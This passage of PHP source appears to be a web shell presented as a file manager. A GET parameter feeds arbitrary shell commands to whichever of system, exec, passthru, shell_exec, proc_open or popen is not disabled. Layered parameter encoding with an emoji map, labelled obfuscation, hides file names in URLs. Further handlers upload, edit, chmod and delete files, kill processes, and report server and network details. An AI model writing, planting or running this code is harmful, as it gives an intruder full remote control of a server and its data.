encryptionKey = $encryptionKey ?: Config::ENCRYPTION_KEY; } public function hasDefaultEncryptionKey(): bool { return $this->encryptionKey === Config::DEFAULT_ENCRYPTION_KEY; } public function checkSessionTimeout(): void { if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > Config::SESSION_TIMEOUT)) { session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); } // OOP: AES encryption for navigation public function encryptPath(string $path): string { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } public function decryptPath(string $encryptedPath): string { try { $decoded = base64_decode($encryptedPath); if ($decoded === false || strpos($decoded, '::') === false) return getcwd(); list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) return getcwd(); $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return $decrypted !== false ? $decrypted : getcwd(); } catch (Exception $e) { return getcwd(); } } // Legacy: Multi-layer parameter encoding for GET actions (obfuscation) public function encodeParameter($value) { $encoded = bin2hex($value); $encoded = base64_encode($encoded); $encoded = str_rot13($encoded); $emojiMap = [ 'a' => '🔥', 'e' => '⚡', 'i' => '💎', 'o' => '🌟', 'u' => '🚀', '0' => '🎯', '1' => '🎪', '2' => '🎨', '3' => '🎭', '4' => '🎮', '5' => '🎲', '6' => '🎸', '7' => '🎺', '8' => '🎻', '9' => '🎹' ]; foreach ($emojiMap as $char => $emoji) { $encoded = str_replace($char, $emoji, $encoded); } return urlencode($encoded); } public function decodeParameter($encoded) { $encoded = urldecode($encoded); $emojiMap = [ '🔥' => 'a', '⚡' => 'e', '💎' => 'i', '🌟' => 'o', '🚀' => 'u', '🎯' => '0', '🎪' => '1', '🎨' => '2', '🎭' => '3', '🎮' => '4', '🎲' => '5', '🎸' => '6', '🎺' => '7', '🎻' => '8', '🎹' => '9' ]; foreach ($emojiMap as $emoji => $char) { $encoded = str_replace($emoji, $char, $encoded); } $decoded = str_rot13($encoded); $decoded = base64_decode($decoded); $decoded = hex2bin($decoded); return $decoded; } } // --- FILE UTILS ------------------------------------------------------------------------------ class FileUtils { public static function formatFileSize($size, $precision = 2) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) $size /= 1024; return round($size, $precision) . ' ' . $units[$i]; } public static function getFilePermissions($filepath) { $perms = fileperms($filepath); $info = ''; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } public static function getOctalPermissions($filepath) { $perms = fileperms($filepath); $octal = substr(sprintf('%o', $perms), -4); return $octal; } public static function getFileOwner($filepath) { if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($filepath)); $group = posix_getgrgid(filegroup($filepath)); return ($owner['name'] ?? 'unknown') . ':' . ($group['name'] ?? 'unknown'); } else { return fileowner($filepath) . ':' . filegroup($filepath); } } public static function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'txt' => '📝', // Notepad 'php' => '🐘', // PHP elephant 'html' => '🌐', // Globe 'css' => '🎨', // Artist palette 'js' => '⚡', // High voltage 'json' => '🗄️', // File cabinet 'xml' => '🔖', // Bookmark 'md' => '📚', // Books 'log' => '🗒️', // Spiral notepad 'error_log' => '⚠️', // Warning 'ini' => '⚙️', // Gear 'conf' => '🔧', // Wrench 'htaccess' => '🚪', // Door 'sql' => '🛢️', // Database 'py' => '🐍', // Python snake 'java' => '☕', // Coffee 'c' => '📘', // Blue book 'cpp' => '📗', // Green book 'h' => '📙', // Orange book 'sh' => '💻', // Laptop 'bat' => '🦇', // Bat 'jpg' => '🖼️', // Framed picture 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🎞️', // Film frames 'svg' => '🖍️', // Crayon 'ico' => '🎯', // Target 'bmp' => '🖌️', // Paint brush 'pdf' => '📕', // Closed book 'doc' => '📄', // Document 'docx' => '📄', 'xls' => '📊', // Chart 'xlsx' => '📊', 'zip' => '🗜️', // Clamp 'rar' => '🗜️', '7z' => '🗜️', 'tar' => '📦', // Package 'gz' => '📦', 'mp3' => '🎵', // Music note 'wav' => '🎶', // Multiple notes 'ogg' => '🎧', // Headphones 'mp4' => '🎬', // Clapperboard 'avi' => '📽️', // Movie camera 'mov' => '📺', // Television 'exe' => '💾', // Floppy disk 'dll' => '🧩', // Puzzle piece 'so' => '🧩', // Puzzle piece 'apk' => '🤖', // Robot 'iso' => '🧊', // Ice cube (disk image) 'csv' => '📑', // Bookmark tabs 'ppt' => '📈', // Chart increasing 'pptx' => '📈', 'bin' => '🔢', // Numbers 'dat' => '🗃️', // Card file box 'db' => '🗄️', // File cabinet 'sqlite' => '🗄️', 'backup' => '💾', ]; return $icons[$ext] ?? '📄'; // Default: document } public static function isTextFile($filename) { $textExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'error_log', 'ini', 'conf', 'htaccess', 'sql', 'py', 'java', 'c', 'cpp', 'h', 'sh', 'bat', 'csv', 'yml', 'yaml', 'env']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, $textExtensions); } public static function isBinaryFile($filepath) { if (!file_exists($filepath) || !is_readable($filepath)) { return false; } // Check file size first $filesize = filesize($filepath); if ($filesize === 0) { return false; // Empty file } // Read first 8KB to check for binary content $handle = @fopen($filepath, "rb"); if (!$handle) { return false; } $sample = @fread($handle, min(8192, $filesize)); fclose($handle); if ($sample === false) { return false; } // Check for null bytes (binary indicator) if (strpos($sample, "\0") !== false) { return true; } // Check for high ratio of non-printable characters $printableChars = preg_match_all('/[\x20-\x7E\x0A\x0D\x09]/', $sample); $totalChars = strlen($sample); $printableRatio = ($totalChars > 0) ? ($printableChars / $totalChars) : 1; return $printableRatio < 0.7; // If less than 70% printable, consider it binary } public static function isMediaFile($filename) { $mediaExtensions = ['jpg', 'jpeg', 'png', 'gif', 'svg', 'mp4', 'avi', 'mov', 'mp3', 'wav', 'ogg', 'webm', 'mkv', 'flv', 'ico', 'bmp', 'tiff', 'tif', 'webp']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, $mediaExtensions); } public static function isEditableFile($filename, $filepath) { // Check if file is too large $filesize = @filesize($filepath); if ($filesize > Config::MAX_TEXT_VIEW_SIZE) { return false; } // Don't allow editing of truly binary files if (self::isBinaryFile($filepath)) { return false; } // Allow editing of all non-binary files return true; } public static function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'bmp', 'tiff', 'tif', 'webp']; $videoExts = ['mp4', 'avi', 'mov', 'webm', 'mkv', 'flv']; $audioExts = ['mp3', 'wav', 'ogg']; if (in_array($ext, $imageExts)) return 'image'; if (in_array($ext, $videoExts)) return 'video'; if (in_array($ext, $audioExts)) return 'audio'; return 'other'; } public static function sanitizePath($path) { return str_replace(['\\\\', '/'], DIRECTORY_SEPARATOR, $path); } public static function buildBreadcrumbs($currentPath, $security) { $breadcrumbs = []; $parts = explode(DIRECTORY_SEPARATOR, trim($currentPath, DIRECTORY_SEPARATOR)); $path = ''; foreach ($parts as $part) { if ($part !== '') { $path .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = ['name' => $part, 'path' => $path, 'enc' => $security->encryptPath($path)]; } } return $breadcrumbs; } public static function hexDump($data, $offset = 0, $length = null) { if ($length === null) { $length = strlen($data); } $output = ''; $hex = ''; $ascii = ''; for ($i = 0; $i < $length; $i++) { if ($i % 16 == 0) { if ($i != 0) { $output .= sprintf("%08x %-48s %s\n", $offset + $i - 16, $hex, $ascii); } $hex = ''; $ascii = ''; } $byte = ord($data[$i]); $hex .= sprintf("%02x ", $byte); if ($byte >= 32 && $byte <= 126) { $ascii .= chr($byte); } else { $ascii .= '.'; } // Add extra space after 8 bytes for readability if ($i % 8 == 7) { $hex .= ' '; } } // Add padding for last line if ($hex != '') { $padding = 48 - strlen($hex); if ($padding > 0) { $hex .= str_repeat(' ', $padding); } $output .= sprintf("%08x %-48s %s\n", $offset + $length - ($length % 16), $hex, $ascii); } return $output; } public static function getSafeContent($filepath, $maxSize = Config::MAX_TEXT_VIEW_SIZE) { if (!file_exists($filepath) || !is_readable($filepath)) { return ['content' => '', 'type' => 'error', 'message' => 'Cannot read file']; } $filesize = filesize($filepath); // Check if file is too large for text view if ($filesize > $maxSize) { return [ 'content' => '', 'type' => 'large', 'message' => "File is too large ({$filesize} bytes). Max allowed for text view: " . self::formatFileSize($maxSize) ]; } // Read file content $content = @file_get_contents($filepath); if ($content === false) { return ['content' => '', 'type' => 'error', 'message' => 'Failed to read file']; } // Check if file is binary if (self::isBinaryFile($filepath)) { // Check if binary file is small enough for hex dump if ($filesize <= Config::MAX_HEXDUMP_SIZE) { $hexContent = self::hexDump($content); return [ 'content' => $hexContent, 'type' => 'hex', 'message' => "Binary file - Hex Dump view" ]; } else { return [ 'content' => '', 'type' => 'large_binary', 'message' => "Binary file is too large ({$filesize} bytes) for hex dump. Max: " . self::formatFileSize(Config::MAX_HEXDUMP_SIZE) ]; } } // Regular text file return [ 'content' => $content, 'type' => 'text', 'message' => "Text file - " . self::formatFileSize($filesize) ]; } } // --- COMMAND EXECUTION ------------------------------------------------------------------------ class CommandUtils { public static function getAvailableCommandFunctions() { $functions = ['system', 'exec', 'passthru', 'shell_exec', 'proc_open', 'popen']; $available = []; foreach ($functions as $func) { if (function_exists($func) && !in_array($func, explode(',', ini_get('disable_functions')))) { $available[] = $func; } } return $available; } public static function executeCommand($command, $method = 'exec') { $output = ''; $available = self::getAvailableCommandFunctions(); if (!in_array($method, $available)) return ['output' => 'Method not available', 'error' => true]; try { switch ($method) { case 'exec': exec($command . ' 2>&1', $outputArray, $returnVar); $output = implode("\n", $outputArray); break; case 'system': ob_start(); system($command . ' 2>&1', $returnVar); $output = ob_get_clean(); break; case 'passthru': ob_start(); passthru($command . ' 2>&1', $returnVar); $output = ob_get_clean(); break; case 'shell_exec': $output = shell_exec($command . ' 2>&1'); break; case 'proc_open': $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($error) $output .= "\n" . $error; } break; case 'popen': $handle = popen($command . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } break; } } catch (Exception $e) { return ['output' => 'Error: ' . $e->getMessage(), 'error' => true]; } return ['output' => $output ?: 'Command executed (no output)', 'error' => false]; } } // --- FILE/FOLDER OPERATIONS ------------------------------------------------------------------- // Recursive delete for directories function rrmdir($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = "$dir/$file"; if (is_dir($path)) rrmdir($path); else unlink($path); } return rmdir($dir); } class FileOps { private $security; private $currentPath; public function __construct($security, $currentPath) { $this->security = $security; $this->currentPath = $currentPath; } public function upload($file) { $uploadPath = $this->currentPath . DIRECTORY_SEPARATOR . $file['name']; if (move_uploaded_file($file['tmp_name'], $uploadPath)) { return "File uploaded successfully!"; } else { return "Upload failed!"; } } public function createFolder($folder) { $folderPath = $this->currentPath . DIRECTORY_SEPARATOR . $folder; if (mkdir($folderPath, 0755, true)) { return "Folder created successfully!"; } else { return "Failed to create folder!"; } } public function rename($old, $new) { $oldPath = $this->currentPath . DIRECTORY_SEPARATOR . $old; $newPath = $this->currentPath . DIRECTORY_SEPARATOR . $new; if (rename($oldPath, $newPath)) { return "Renamed successfully!"; } else { return "Rename failed!"; } } public function delete($item) { $itemPath = $this->currentPath . DIRECTORY_SEPARATOR . $item; if (is_dir($itemPath)) { // Recursive delete for directory if (rrmdir($itemPath)) return "Folder deleted!"; else return "Failed to delete folder!"; } else { if (unlink($itemPath)) return "File deleted!"; else return "Failed to delete file!"; } } public function chmod($item, $permissions) { $itemPath = $this->currentPath . DIRECTORY_SEPARATOR . $item; // Validate permission code if (!preg_match('/^[0-7]{3,4}$/', $permissions)) { return "Invalid permission code! Must be 3-4 digit octal (0-7)."; } // If 3 digits, prepend with '0' if (strlen($permissions) === 3) { $permissions = '0' . $permissions; } $octalPerms = octdec($permissions); // Special handling for symlinks if (is_link($itemPath)) { return "Cannot change permissions of symbolic links directly."; } if (chmod($itemPath, $octalPerms)) { return "Permissions changed to " . $permissions . " (" . FileUtils::getFilePermissions($itemPath) . ") successfully!"; } else { return "Failed to change permissions! Check if you have sufficient privileges."; } } public function editFile($filename, $content) { $filePath = $this->currentPath . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($filePath, $content) !== false) { return "File saved!"; } else { return "Failed to save file!"; } } } // --- REQUEST HANDLING ------------------------------------------------------------------------- $security = new SecurityManager(); $security->checkSessionTimeout(); $action = $_GET['action'] ?? ($_POST['action'] ?? 'browse'); $get_path = $_GET['path'] ?? ($_POST['current_path'] ?? null); $currentPath = $get_path ? $security->decryptPath($get_path) : getcwd(); $currentPath = realpath($currentPath) ?: getcwd(); $message = ''; $error = ''; // AJAX: Terminal if ($action === 'execute_command' && isset($_GET['command'])) { $command = $_GET['command']; $method = $_GET['method'] ?? 'exec'; $result = CommandUtils::executeCommand($command, $method); header('Content-Type: application/json'); echo json_encode($result); exit; } // AJAX: Kill process if ($action === 'kill_process' && isset($_GET['pid'])) { $pid = intval($_GET['pid']); $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $killCommand = $isWindows ? "taskkill /F /PID $pid" : "kill -9 $pid"; $result = CommandUtils::executeCommand($killCommand); header('Content-Type: application/json'); echo json_encode($result); exit; } // POST actions $ops = new FileOps($security, $currentPath); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // FIXED THE BUG: Check for specific actions with explicit conditions // This prevents the chmod action from being mistaken for delete if (isset($_FILES['file'])) { $message = $ops->upload($_FILES['file']); } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $message = $ops->createFolder($_POST['folder_name']); } elseif (isset($_POST['old_name']) && isset($_POST['new_name'])) { $message = $ops->rename($_POST['old_name'], $_POST['new_name']); } elseif (isset($_POST['item_name']) && isset($_POST['permissions'])) { // Check for chmod action (explicit permission field) $message = $ops->chmod($_POST['item_name'], $_POST['permissions']); } elseif (isset($_POST['item_name']) && isset($_POST['delete_action'])) { // Check for delete action (explicit delete_action field) $message = $ops->delete($_POST['item_name']); } elseif (isset($_POST['filename']) && isset($_POST['content'])) { $message = $ops->editFile($_POST['filename'], $_POST['content']); } } // Download if ($action === 'download' && isset($_GET['file'])) { $downloadFile = $security->decodeParameter($_GET['file']); $downloadPath = $currentPath . DIRECTORY_SEPARATOR . $downloadFile; if (file_exists($downloadPath) && is_readable($downloadPath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadFile) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); readfile($downloadPath); exit; } } // --- DIRECTORY LISTING ------------------------------------------------------------------------ $items = []; if (is_dir($currentPath)) { $files = scandir($currentPath); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $filePath = $currentPath . DIRECTORY_SEPARATOR . $file; $items[] = [ 'name' => $file, 'path' => $filePath, 'enc' => $security->encodeParameter($file), 'is_dir' => is_dir($filePath), 'size' => is_file($filePath) ? filesize($filePath) : 0, 'modified' => filemtime($filePath), 'permissions' => FileUtils::getFilePermissions($filePath), 'octal_permissions' => FileUtils::getOctalPermissions($filePath), 'owner' => FileUtils::getFileOwner($filePath), 'readable' => is_readable($filePath), 'writable' => is_writable($filePath), 'editable' => !is_dir($filePath) && FileUtils::isEditableFile($file, $filePath) ]; } } } usort($items, function($a, $b) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); $breadcrumbs = FileUtils::buildBreadcrumbs($currentPath, $security); // --- HTML OUTPUT ------------------------------------------------------------------------------ ?>
Current Path:
Please download the file to view it locally.
This file type cannot be previewed. Please download it to view locally.
Available execution methods:
OS:
PHP Version:
Server Software:
Document Root:
Current User:
Server Time:
Memory Limit:
Memory Usage:
Peak Memory:
Disk Free Space:
Disk Total Space:
Max Execution Time: s
Max Upload Size:
Post Max Size:
Open Basedir:
Command Execution:
Click "Refresh Processes" to load running processes...
Click "Refresh Network Info" to load network details...
Click "Refresh Connections" to load active connections...